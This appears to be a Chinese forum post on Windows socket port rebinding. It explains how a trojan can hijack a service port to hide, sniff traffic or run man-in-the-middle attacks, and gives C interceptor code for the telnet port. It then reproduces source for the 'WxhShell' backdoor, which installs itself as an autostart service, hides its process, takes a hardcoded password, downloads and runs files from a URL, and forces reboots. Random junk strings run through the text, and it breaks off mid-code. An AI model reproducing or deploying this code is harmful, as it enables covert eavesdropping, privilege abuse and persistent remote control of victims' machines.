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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FG;<`4mY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hV>4D&<  
@cS1w'=  
  saddr.sin_family = AF_INET; sx-Hw4.a"  
I"F .%re  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ><#2O  
7S dV%"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vzohq1r5  
9HJ'p:{)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &8X .!r`f  
n$OE~YwP{  
  这意味着什么?意味着可以进行如下的攻击: Oj4u!SY\j  
Dc&9emKI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,3J`ftCV  
R!_8jD:$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rKy-u  
L&DF,fWsF&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G1?0Q_RN  
I4o =6ts  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  35%[D Ukb  
N)vk0IM!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [ n0##/  
_@BRpLs:4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 * Y%<b86U  
6m-:F.k1(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rt3f7 s*  
kY'<u  
  #include |Uy e>%*}4  
  #include :Er^"9'A2  
  #include :!+}XT7)/  
  #include    u^aFj%}]L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >2|[EZ  
  int main() ?x5wS$^q<  
  { XoKO2<3  
  WORD wVersionRequested; )D Gz`->  
  DWORD ret; ,N@Yk.  
  WSADATA wsaData; x!"SD3r=4>  
  BOOL val; Bg 7j5  
  SOCKADDR_IN saddr; E VN-<=i^  
  SOCKADDR_IN scaddr; j]!7BHC  
  int err; tL={y*  
  SOCKET s; cD'HQ3+  
  SOCKET sc; DD/>{kff  
  int caddsize; _4.]A 3;}  
  HANDLE mt; Z#OhYm+y  
  DWORD tid;    /i-xX*  
  wVersionRequested = MAKEWORD( 2, 2 ); wDT>">&d  
  err = WSAStartup( wVersionRequested, &wsaData ); s FQ4O- SM  
  if ( err != 0 ) { M1/M}~  
  printf("error!WSAStartup failed!\n"); "wnpiB}  
  return -1; }pl]9  
  } ? fbgU  
  saddr.sin_family = AF_INET; @pF fpHq?>  
   ZR;8r Z](  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M#\  <  
(|0.m8D~D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BR& Aq  
  saddr.sin_port = htons(23); sJ))<,e5I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [K cki+  
  { AfbB~LlBq  
  printf("error!socket failed!\n"); }J ei$0x  
  return -1; mQd4#LJ_  
  } W>5vRwx00  
  val = TRUE; ,hpH!J'5f/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~ON1Zw[+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *#&k+{a^2  
  { |^7f\.oF  
  printf("error!setsockopt failed!\n"); d5@X#3Hd  
  return -1; ADv^eJJ|  
  } &a%WM   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gk!E$NyE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Jv_.itc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C5O5S:|'  
w5F4"nl#O}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ./'~];&  
  { GXDC@+$14  
  ret=GetLastError(); mu6039qy  
  printf("error!bind failed!\n"); .]W ;2G  
  return -1; ?S (im  
  } h>}ax\h  
  listen(s,2); ,?l~rc  
  while(1) [[:UhrH-  
  { r4O|()  
  caddsize = sizeof(scaddr); /y}"M  
  //接受连接请求 "+=Pp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bk?8 zYp  
  if(sc!=INVALID_SOCKET) T n"e   
  { ,:D=gQ@`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {Ge+O<mD  
  if(mt==NULL) z]^+^c_  
  { @ Ii-NmOr  
  printf("Thread Creat Failed!\n"); HXQ e\r  
  break; `I5O4|K)  
  } +c^_^Z$_4o  
  } s|Z:}W?{  
  CloseHandle(mt); PG{i,xq_B{  
  } ?b||Cr  
  closesocket(s); >Bc> IO  
  WSACleanup(); D`6iDi t  
  return 0; s}6+8fE"  
  }   QX[Djz0H8  
  DWORD WINAPI ClientThread(LPVOID lpParam) n[!;yO  
  { ;Vg^!]LL#  
  SOCKET ss = (SOCKET)lpParam; 6cM<>&e  
  SOCKET sc; 6X/wd k  
  unsigned char buf[4096]; qE )Y}oN  
  SOCKADDR_IN saddr; taweGc%~  
  long num; F\a]n^ Y  
  DWORD val; KQ&Y2l1*>>  
  DWORD ret; \ht ?G n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 otO j^xU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qAoAUD m  
  saddr.sin_family = AF_INET; (+* ][|T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i+g~ Uj}h  
  saddr.sin_port = htons(23); pmD4j8F_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =I2@/,  
  { 4SgF,ac3r  
  printf("error!socket failed!\n"); nqT>qS[Z  
  return -1; RctU'T  
  } |,b2b2v ?  
  val = 100; O|QUNr9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >R!"P[*  
  { m6^ 5S  
  ret = GetLastError(); lsk_P&M  
  return -1; 8p&kLo&  
  } +R!zs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~g6"'Cya?k  
  { 7paUpQit  
  ret = GetLastError();  EIr@g  
  return -1; _a](V6  
  } OTj,O77k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ._?V%/  
  { ?v:ZU~i  
  printf("error!socket connect failed!\n"); IV'p~t  
  closesocket(sc); H$!+A  
  closesocket(ss); Z7fg 25  
  return -1; qj&b o  
  } owvS/"@  
  while(1) fAGctRGH  
  { yub{8f;v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v5_7r%Hiw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "+)K |9T#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #)o7"PW:  
  num = recv(ss,buf,4096,0); CK0l9#g  
  if(num>0) #02Kdo&Vy  
  send(sc,buf,num,0); ?]c+j1 i  
  else if(num==0) 8V9 [a*9  
  break; xACdZB(  
  num = recv(sc,buf,4096,0); 7Y1GUIRa3  
  if(num>0) r`j Wp\z  
  send(ss,buf,num,0); %%%S"$t  
  else if(num==0) {T=52h=e  
  break; /@hJpz|+   
  } )tS-.PrA-  
  closesocket(ss); [:iv4>ZZ  
  closesocket(sc); 3GF2eS$$P  
  return 0 ; &SH1q_&BQ  
  } b O=yi)  
+L0w;wT  
D8%AV; -Y  
========================================================== qi(*ty  
b7HffO O  
下边附上一个代码,,WXhSHELL qj!eLA-aD  
WNs}sNSf  
========================================================== X8i(~ B  
5+- I5HX|~  
#include "stdafx.h" ]N^*tO  
YuQ~AE'i  
#include <stdio.h> lwT9~Hyp  
#include <string.h> D'b#,a;V  
#include <windows.h> %T!J$a)qf  
#include <winsock2.h> ecj7BT[mLI  
#include <winsvc.h> Dzl;-]S  
#include <urlmon.h> d--'Rn5  
pu+ur=5&  
#pragma comment (lib, "Ws2_32.lib") Ya#h'+}  
#pragma comment (lib, "urlmon.lib") !lTda<;]  
('C7=u&F  
#define MAX_USER   100 // 最大客户端连接数 eS'yGY0b  
#define BUF_SOCK   200 // sock buffer fKHE;A*>%  
#define KEY_BUFF   255 // 输入 buffer ,lt8O.h-l  
t 9^A(Vh"-  
#define REBOOT     0   // 重启 uLQ  
#define SHUTDOWN   1   // 关机 2 rN ,D(  
"B{ECM;  
#define DEF_PORT   5000 // 监听端口 AVl~{k|  
Wh( |+rJ?Z  
#define REG_LEN     16   // 注册表键长度 ~6aCfbu%V  
#define SVC_LEN     80   // NT服务名长度 c+kU o$  
LOvHkk@+  
// 从dll定义API + H_WlYg-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +*}{`L- :  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; A,#;%j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jjzA .8?(7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]]0,|My7  
6G AaV[])'  
// wxhshell配置信息 ;`dh fcU  
struct WSCFG { WG u%7e]  
  int ws_port;         // 监听端口 x%N\5 V1  
  char ws_passstr[REG_LEN]; // 口令 c~=B0K-  
  int ws_autoins;       // 安装标记, 1=yes 0=no =JS;;PzX[  
  char ws_regname[REG_LEN]; // 注册表键名 y "w|g~x]c  
  char ws_svcname[REG_LEN]; // 服务名 (;_FIUz0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J=W0Xi !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;sPoUn s'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I.'b'-^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QA#3bFZt1n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (=4W -z7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @+LfQY  
EH*o"N`!r  
}; @U{<a#  
:hRs`=d"r  
// default Wxhshell configuration &a,OfSz  
struct WSCFG wscfg={DEF_PORT, 5 2_#  
    "xuhuanlingzhe", a4 MZ;5  
    1, r?/A?DMe  
    "Wxhshell", TUIk$U?/I  
    "Wxhshell", G:W>I=^DaR  
            "WxhShell Service", 'heJ"k?  
    "Wrsky Windows CmdShell Service", `J0i.0p  
    "Please Input Your Password: ", o>Er_r  
  1, 6w[}&pX"z  
  "http://www.wrsky.com/wxhshell.exe", j*v40mXl`2  
  "Wxhshell.exe" V 9wI\0  
    };  m#vL*]c}  
\x{;U#B[3>  
// 消息定义模块 l_rn++  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z8#Gwyinx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !v.9"!' N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #R0A= !  
char *msg_ws_ext="\n\rExit."; "=. t 36#  
char *msg_ws_end="\n\rQuit."; V'Kgdj  
char *msg_ws_boot="\n\rReboot..."; h}`!(K^;3  
char *msg_ws_poff="\n\rShutdown..."; JAjmrX  
char *msg_ws_down="\n\rSave to "; 'XrRhF (  
MPgS!V1  
char *msg_ws_err="\n\rErr!"; Yc r3HLJy  
char *msg_ws_ok="\n\rOK!"; 3REx45M2  
Ny- [9S-<  
char ExeFile[MAX_PATH]; YevyN\,}V!  
int nUser = 0; Yap?^&GV  
HANDLE handles[MAX_USER]; G!N{NCq  
int OsIsNt; I){\0vb@  
A - YBQPE  
SERVICE_STATUS       serviceStatus; JA)?p{j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tR0pH8?e"  
z4#(Ze@u~_  
// 函数声明 ?~"bR%  
int Install(void); GNf482  
int Uninstall(void); f/,>%j=Ms  
int DownloadFile(char *sURL, SOCKET wsh); _@mRb^  
int Boot(int flag); }9HmTr|  
void HideProc(void); j(:I7%3&(*  
int GetOsVer(void); h^9"i3H  
int Wxhshell(SOCKET wsl); cJo\#cr  
void TalkWithClient(void *cs); %@a8P  
int CmdShell(SOCKET sock); K;hh&sTB  
int StartFromService(void); F~:O.$f]G  
int StartWxhshell(LPSTR lpCmdLine); DZ7 gcC  
.d;Iht,[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Z!g:II /  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \0l>q ,  
RO;Bl:x4  
// 数据结构和表定义 p(;U@3G  
SERVICE_TABLE_ENTRY DispatchTable[] = do*}syQ`O  
{ =gfI!w  
{wscfg.ws_svcname, NTServiceMain}, ?"#%SKm  
{NULL, NULL} YJg,B\z}  
}; 0~wF3BgV  
n\Fp[9+Z\  
// 自我安装 $Nrm!/)*'}  
int Install(void) <~TP#uAz  
{ pLa[}=  
  char svExeFile[MAX_PATH]; '{ I_\~*  
  HKEY key; =deMd`=J  
  strcpy(svExeFile,ExeFile); fDE%R={!n5  
SK1!thQy  
// 如果是win9x系统,修改注册表设为自启动 DFhXx6]  
if(!OsIsNt) { ~R$~&x(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4n#ov=)-~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iv`O /T  
  RegCloseKey(key); >3 yk#U|7}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  [,n c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dY?`f<*  
  RegCloseKey(key); ETp%s{8  
  return 0; )"zvwgaW  
    } I? THa<  
  } Q9}dHIe1E  
} DRqZ,[!+  
else { o1&:ry  
T=hho Gn  
// 如果是NT以上系统,安装为系统服务 v_e9}yI   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); />'V!iWyz  
if (schSCManager!=0) ;.xoN|Per  
{ |qZko[W}=  
  SC_HANDLE schService = CreateService b'MSkEiQG  
  ( PB%-9C0  
  schSCManager, L %ip>  
  wscfg.ws_svcname, ReiB $y6  
  wscfg.ws_svcdisp, +^*iZ6{+7  
  SERVICE_ALL_ACCESS, PJxH7|GSi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5@*'2rO&!  
  SERVICE_AUTO_START, !O\;Nua  
  SERVICE_ERROR_NORMAL, N#lDW~e'  
  svExeFile, 'r(1Nj  
  NULL, e%8|<g+n6  
  NULL, p!]6ll^  
  NULL, ??TMSH  
  NULL, ^c~)/F/cF  
  NULL y/e 2l  
  ); nJPyM/p  
  if (schService!=0) {t};-q!v$j  
  { qE'9QQ>:b  
  CloseServiceHandle(schService); dKl^jsd  
  CloseServiceHandle(schSCManager); hTP:[w)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6wco&7   
  strcat(svExeFile,wscfg.ws_svcname); 98 8]}{w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { | mu+9   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gP+fN$5'd  
  RegCloseKey(key); eh,~^x5  
  return 0; ?#yV3h|Ij  
    } SIBoCs5  
  } eEhr140  
  CloseServiceHandle(schSCManager); \!]Ua.e<  
} BBcV9CGU  
} LZMYr  
hhoEb(BA  
return 1; f+rz|(6vs{  
} GGhM;%H_99  
.]aF 1}AI  
// 自我卸载 Hw#d_P:  
int Uninstall(void) Sa19q.~%  
{ olLfko4$*V  
  HKEY key; lL]y~u  
4&/j|9=X  
if(!OsIsNt) { ]|<w\\^A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xl@cHO=i  
  RegDeleteValue(key,wscfg.ws_regname); AoA!q>  
  RegCloseKey(key); WyP W*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eY{+~|KZ  
  RegDeleteValue(key,wscfg.ws_regname); ;n|^1S<[  
  RegCloseKey(key); ~4q5 k5.,  
  return 0; =] 3tUD  
  } iNwqF0  
} <b/~.$a'  
} FI"`DMb}  
else { s1?[7yC  
`9k0Gd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Z{j>=$  
if (schSCManager!=0) !n6wWl  
{ sg E-`#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s+:=I e  
  if (schService!=0) !mXxAo  
  { }w4QP+ x  
  if(DeleteService(schService)!=0) { r-,e;o>9  
  CloseServiceHandle(schService); gWY "w!f  
  CloseServiceHandle(schSCManager); 7)h[Zy,A  
  return 0; ?f/n0U4w  
  } fib}b? vk  
  CloseServiceHandle(schService); qY 4#V k  
  } $=?@*p  
  CloseServiceHandle(schSCManager); [pVamE  
} /c):}PJ^#7  
} `K ,1K  
G\NPV'  
return 1;  *.)tG  
} 9W5onn  
t43)F9!  
// 从指定url下载文件 <3,<\ub  
int DownloadFile(char *sURL, SOCKET wsh) ]({~,8s  
{ 43V}# DA@  
  HRESULT hr; VY)s+Bx  
char seps[]= "/"; 2Pc%fuC  
char *token; .$@R{>%U  
char *file; 86 W0rS[5  
char myURL[MAX_PATH]; Ecs,$\  
char myFILE[MAX_PATH]; kA7mLrON  
IKie1!ZU{"  
strcpy(myURL,sURL); cyJG8f  
  token=strtok(myURL,seps); }^B6yWUN  
  while(token!=NULL) 9)VF 1LD  
  { -GLMmZJt  
    file=token; pKi&[  
  token=strtok(NULL,seps); 1#1 riM -  
  } u+{a8=  
G\T fL^A  
GetCurrentDirectory(MAX_PATH,myFILE); epgPT'^  
strcat(myFILE, "\\"); sUPz/Z.h  
strcat(myFILE, file); @?"h !fyu  
  send(wsh,myFILE,strlen(myFILE),0); KN-avu_Ix  
send(wsh,"...",3,0); ~)(\6^&=|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vOg#Dqn-  
  if(hr==S_OK) ,]T2$?|  
return 0; 'w1YFdW  
else E@Ad'_H  
return 1; .KdyJ6o  
} (!EuLL  
} ,!U=|c"k)  
&IlU|4`R%  
// 系统电源模块 `Qeg   
int Boot(int flag) VE8;sGaJ  
{ 0@AAulRl  
  HANDLE hToken; `=7j$#6U  
  TOKEN_PRIVILEGES tkp; ;j2vHU#q-  
NzNA>[$[  
  if(OsIsNt) { aN(|'uO@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qoAj] ")  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c_elShK8#  
    tkp.PrivilegeCount = 1; MTUn3;c/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6d+p7x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Afk$?wkL  
if(flag==REBOOT) { yV^s,P1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t'ZWc\  
  return 0; )aX,%yK  
} S6[v;{xJ  
else { >|;aIa@9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EAeqLtFqs  
  return 0; |<O9Sb_  
} t:fFU1x  
  } Q?X>E3=U  
  else { + T8B:  
if(flag==REBOOT) { R i^[i}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tr7<]Hm:  
  return 0; i E CrI3s  
} ~/*MY  
else { g(4xC7xK6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1T[et-  
  return 0; &d|r~NhP  
} (64yg  
} !fj(tPq  
ZI=v.wa  
return 1; <ZB1Vi9}8  
} Z> r^SWL  
5# K4bA  
// win9x进程隐藏模块 %AQIGBcgL  
void HideProc(void) jRL<JZ1N  
{ :kGU,>BN  
nR`ov1RH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B7!3-1<k>  
  if ( hKernel != NULL ) !o$!Frc  
  { r\/+Oa'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M|R b&6O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x*/S*!vx\  
    FreeLibrary(hKernel); oJfr +3I  
  } F;]%V%F.X  
-a-(r'Qc(  
return; [Jv@J\  
} =%/)m:f!^  
YIjTL!bA"  
// 获取操作系统版本 nvPwngEQm  
int GetOsVer(void) J_;o|gqX  
{ ? YG)I;(  
  OSVERSIONINFO winfo; o]opdw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _]:z \TDn  
  GetVersionEx(&winfo); #_u~/jhX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hhh0T>gi  
  return 1; KRA/MQ^7~U  
  else BT(CM,bp  
  return 0; rOVVL%@QqJ  
} [1u-Q%?#  
Gn&4V}F  
// 客户端句柄模块 !@v7Zu43,  
int Wxhshell(SOCKET wsl) p3 ^ m9J  
{ ynrT a..  
  SOCKET wsh; ^U!0-y  
  struct sockaddr_in client; Er{>p|n =  
  DWORD myID; yNTK .  
ej"+:. "\e  
  while(nUser<MAX_USER) 0vw4?>Jf@  
{ VTH> o>g  
  int nSize=sizeof(client); j*vYBGD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Q /Arq  
  if(wsh==INVALID_SOCKET) return 1; sQ\8>[]   
*Em,*!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yYfs y?3  
if(handles[nUser]==0) hyFyP\u]  
  closesocket(wsh); z5 YWt*nm  
else {yExQbN  
  nUser++; %QP0  
  } 2=^m9%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n<u $=H  
X)% A6M  
  return 0; qXwPDq/  
} &mx)~J^m  
Dg?:/=,=9r  
// 关闭 socket w Y_)y  
void CloseIt(SOCKET wsh) \:UIc*S  
{  .P"D  
closesocket(wsh); c(~[$)i6  
nUser--; IqoR7ajA  
ExitThread(0); 5wDg'X]>V  
} XD2v*l|Po  
)'+8}T]xQ  
// 客户端请求句柄 WA&!;Zq  
void TalkWithClient(void *cs) #NryLE!/  
{ bXNk%W[n  
ilqy /fL#  
  SOCKET wsh=(SOCKET)cs; (:> ,u*x%  
  char pwd[SVC_LEN]; Bn &Ws  
  char cmd[KEY_BUFF]; q1KZ5G)6GJ  
char chr[1]; \}|o1Xh2  
int i,j; k5kxQhPf  
|0f>aZ  
  while (nUser < MAX_USER) { r<d_[?1N  
D1=((`v '  
if(wscfg.ws_passstr) { mUik A9u5=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "L&#lfOKG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /PSd9N*=y  
  //ZeroMemory(pwd,KEY_BUFF); ?BZPwGMs  
      i=0; I<6P;  
  while(i<SVC_LEN) { ~G6Ox)/  
Vo'T!e- B  
  // 设置超时 ][p>Y>:b-  
  fd_set FdRead; ~XmLX)vO/  
  struct timeval TimeOut; G VYkJ0,  
  FD_ZERO(&FdRead); R1$:~p2m  
  FD_SET(wsh,&FdRead);   t!_<~  
  TimeOut.tv_sec=8; !*B'?|a<\  
  TimeOut.tv_usec=0; |}di&y@-JI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MjC_ (cs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z)r =+ -  
E;R n`oxk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /~$WUAh  
  pwd=chr[0];  abfW[J  
  if(chr[0]==0xd || chr[0]==0xa) { EZ`te0[  
  pwd=0; GE%Z9#E  
  break; ud'-;W  
  } ?q{ ,R"  
  i++; LQRQA[^  
    } F7EKoDt  
[R^i F  
  // 如果是非法用户,关闭 socket Ay0U=#XP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2$g6}A`r  
} >8#X;0\Kj  
n|RJ;d30Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ORJIo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mQ|v26R  
!u[eaLxV  
while(1) { 9\mLW"  
&&8IU;J  
  ZeroMemory(cmd,KEY_BUFF); ic#`N0s?  
VKG&Y_7N  
      // 自动支持客户端 telnet标准   ijK"^4i  
  j=0; < (fRn`)PT  
  while(j<KEY_BUFF) { R?"q]af~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pUQ/03dp  
  cmd[j]=chr[0]; p;3O#n-_  
  if(chr[0]==0xa || chr[0]==0xd) { %,@e^3B  
  cmd[j]=0; zkuU5O  
  break; afuOeZP  
  } deV  8  
  j++; 'm FqE n  
    } qh|_W(`y  
xRzFlay8  
  // 下载文件 1q:2\d]  
  if(strstr(cmd,"http://")) { jZ~n[ f+Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2q=AEv/  
  if(DownloadFile(cmd,wsh)) g+Sbl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <oT^A|JFj  
  else %^4CSh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NflD/q/ L  
  } \F/hMXDlJ  
  else { x7!L{(E3  
WrxP  
    switch(cmd[0]) { d"*uBVzXm  
  }Mp:JPH&S4  
  // 帮助 H Y&DmE  
  case '?': { [S9K6%w_!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F@'Jbd`   
    break; BW}U%B^.  
  } W14 J],{L  
  // 安装 !Sh&3uy_qN  
  case 'i': { >,$_| C  
    if(Install()) z"-u95H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * K D I}B>  
    else Oj3.q#)`Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {GK;63`1  
    break; j<V Fn~*_  
    } v1+3}5b'uF  
  // 卸载 mD$A4Y-'p  
  case 'r': { >~[c|ffyo/  
    if(Uninstall()) H8Bs<2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>f6) C-  
    else @"Fme-~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j,lT>/  
    break; S1Wj8P-  
    } *`ua'"="k  
  // 显示 wxhshell 所在路径 &_dt>.  
  case 'p': { {JZZZY!n2  
    char svExeFile[MAX_PATH]; Tc>   
    strcpy(svExeFile,"\n\r"); .w=/+TA  
      strcat(svExeFile,ExeFile); r ~jm`y  
        send(wsh,svExeFile,strlen(svExeFile),0); \E72L5nJW  
    break; PV'x+bN5  
    } 4sF"6+%5d  
  // 重启 5cL83FQh  
  case 'b': { /Y W>*?"N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CrC^1K  
    if(Boot(REBOOT)) ]@j*/IP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Gz0^[+  
    else { ZkRx1S"m  
    closesocket(wsh); rzhWw-GY  
    ExitThread(0); \o}xF@sM5  
    } z;{iM/Xe  
    break; TN!j13,  
    } U\4g#!qj  
  // 关机 M -cTRd-i  
  case 'd': { ww\CQ6/h  
